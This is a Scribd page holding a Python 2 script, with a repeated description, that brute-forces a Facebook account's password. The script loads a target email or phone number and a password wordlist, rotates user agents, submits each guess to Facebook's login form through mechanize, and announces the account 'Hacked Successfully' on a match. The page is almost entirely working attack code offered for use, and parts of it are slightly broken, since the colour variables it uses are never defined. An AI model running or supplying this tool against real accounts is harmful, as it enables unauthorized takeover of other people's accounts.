0% found this document useful (0 votes)
28 views

Import Import Import Import

This Python script attempts to brute force hack a Facebook account by trying login combinations of an email/phone number and passwords from a predefined wordlist. It uses the mechanize and cookielib libraries to automate browser sessions and maintain cookies. The script takes a target email/phone and wordlist file as input, then systematically tries each password in the list by launching a Firefox profile to submit it to Facebook's login page. If a successful login occurs without receiving the login attempt error, it prints the cracked password and exits.

Uploaded by

deepu nand
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
28 views

Import Import Import Import

This Python script attempts to brute force hack a Facebook account by trying login combinations of an email/phone number and passwords from a predefined wordlist. It uses the mechanize and cookielib libraries to automate browser sessions and maintain cookies. The script takes a target email/phone and wordlist file as input, then systematically tries each password in the list by launching a Firefox profile to submit it to Facebook's login page. If a successful login occurs without receiving the login attempt error, it prints the cracked password and exits.

Uploaded by

deepu nand
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 2

import sys

import mechanize
import cookielib
import random

email = str(raw_input("Emal or Phone: "))

passwordlist = str(raw_input("Wordlist Path : "))

login = 'https://www.facebook.com/login.php?login_attempt=1'

useragents = [('Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101


Firefox/45.0','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)
Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]

def main():
  global br
  br = mechanize.Browser()
  cj = cookielib.LWPCookieJar()
  br.set_handle_robots(False)
  br.set_handle_redirect(True)
  br.set_cookiejar(cj)
  br.set_handle_equiv(True)
  br.set_handle_referer(True)
  br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  welcome()
  search()
  print("Password does not exist in the wordlist")

def brute(password):
  sys.stdout.write("\r[*] Trying ..... {}\n".format(password))
  sys.stdout.flush()
  br.addheaders = [('User-agent', random.choice(useragents))]
  site = br.open(login)
  br.select_form(nr = 0)
  br.form['email'] = email
  br.form['pass'] = password
  sub = br.submit()
  log = sub.geturl()
  if log != login and (not 'login_attempt' in log):
      print(Bg +"\n\n[+] Email/Phone: " + email + " Password:
{}".format(password)) + W
      print Bg + "[+] " + email + " Has been Hacked Successfully!!!" + W
      raw_input("ANY KEY to Exit....")
      sys.exit(1)

def search():
  global password
  passwords = open(passwordlist,"r")
  for password in passwords:
    password = password.replace("\n","")
    brute(password)

#welcome
def welcome():
  total = open(passwordlist,"r")
  total = total.readlines()
  print
  print " [*] Account to crack : {}".format(email)
  print " [*] Loaded :" , len(total), "passwords"
  print " [*] Cracking, please wait ...\n\n"

if __name__ == '__main__':
  main()

You might also like